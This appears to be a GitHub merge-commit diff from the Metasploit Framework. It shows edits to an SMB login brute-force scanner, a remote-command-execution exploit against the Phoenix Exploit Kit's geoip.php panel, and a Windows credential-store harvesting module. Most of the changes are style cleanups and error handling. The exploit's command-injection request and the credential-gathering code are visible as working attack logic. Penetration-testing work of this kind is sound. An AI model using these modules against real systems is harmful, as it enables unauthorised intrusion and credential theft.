Skip to content

Commit 4b2d6b6

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge branch 'master' into feature/MS-1715/rex-socket-gem
2 parents fa6d196 + e403df5 commit 4b2d6b6

File tree

3 files changed

+32
-20
lines changed

3 files changed

+32
-20
lines changed

modules/auxiliary/scanner/smb/smb_login.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,7 @@ def run_host(ip)
7070
@scanner = Metasploit::Framework::LoginScanner::SMB.new(
7171
host: ip,
7272
port: rport,
73+
local_port: datastore['CPORT'],
7374
stop_on_success: datastore['STOP_ON_SUCCESS'],
7475
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
7576
connection_timeout: 5,

modules/exploits/multi/http/phoenix_exec.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -14,22 +14,22 @@ def initialize(info={})
1414
super(update_info(info,
1515
'Name' => 'Phoenix Exploit Kit Remote Code Execution',
1616
'Description' => %q{
17-
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The
17+
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via geoip.php. The
1818
Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
19-
presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which
20-
then silently installs malware.
19+
presence of outdated and insecure versions of browser plugins like Java and Adobe Flash and Reader,
20+
silently installing malware if found.
2121
},
2222
'License' => MSF_LICENSE,
2323
'Author' =>
2424
[
25-
'CrashBandicot @DosPerl', #initial discovery
26-
'Jay Turla <@shipcod3>', #msf module
25+
'CrashBandicot', #initial discovery by @DosPerl
26+
'Jay Turla' #msf module by @shipcod3
2727
],
2828
'References' =>
2929
[
3030
[ 'EDB', '40047' ],
3131
[ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
32-
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
32+
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ]
3333
],
3434
'Privileged' => false,
3535
'Payload' =>
@@ -45,16 +45,16 @@ def initialize(info={})
4545
'Arch' => ARCH_CMD,
4646
'Targets' =>
4747
[
48-
['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
49-
['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
48+
[ 'Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
49+
[ 'Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
5050
],
5151
'DisclosureDate' => 'Jul 01 2016',
5252
'DefaultTarget' => 0))
5353

5454
register_options(
5555
[
56-
OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
57-
],self.class)
56+
OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php'])
57+
], self.class)
5858
end
5959

6060
def check
@@ -63,7 +63,7 @@ def check
6363
if res && res.body.include?(test)
6464
return Exploit::CheckCode::Vulnerable
6565
end
66-
return Exploit::CheckCode::Safe
66+
Exploit::CheckCode::Safe
6767
end
6868

6969
def exploit
@@ -72,12 +72,12 @@ def exploit
7272
end
7373

7474
def http_send_command(cmd)
75-
send_request_cgi({
75+
send_request_cgi(
7676
'method' => 'GET',
7777
'uri' => normalize_uri(target_uri.path),
7878
'vars_get' => {
7979
'bdr' => cmd
8080
}
81-
})
81+
)
8282
end
8383
end

modules/post/windows/gather/credentials/enum_cred_store.rb

Lines changed: 18 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -178,14 +178,25 @@ def get_creds
178178
credentials = []
179179
#call credenumerate to get the ptr needed
180180
adv32 = session.railgun.advapi32
181-
ret = adv32.CredEnumerateA(nil,0,4,4)
182-
p_to_arr = ret["Credentials"].unpack("V")
183-
if is_86
184-
count = ret["Count"]
185-
arr_len = count * 4
181+
begin
182+
ret = adv32.CredEnumerateA(nil,0,4,4)
183+
rescue Rex::Post::Meterpreter::RequestError => e
184+
print_error("This module requires WinXP or higher")
185+
print_error("CredEnumerateA() failed: #{e.class} #{e}")
186+
ret = nil
187+
end
188+
if ret.nil?
189+
count = 0
190+
arr_len = 0
186191
else
187-
count = ret["Count"] & 0x00000000ffffffff
188-
arr_len = count * 8
192+
p_to_arr = ret["Credentials"].unpack("V")
193+
if is_86
194+
count = ret["Count"]
195+
arr_len = count * 4
196+
else
197+
count = ret["Count"] & 0x00000000ffffffff
198+
arr_len = count * 8
199+
end
189200
end
190201

191202
#tell user what's going on

0 commit comments

Comments
 (0)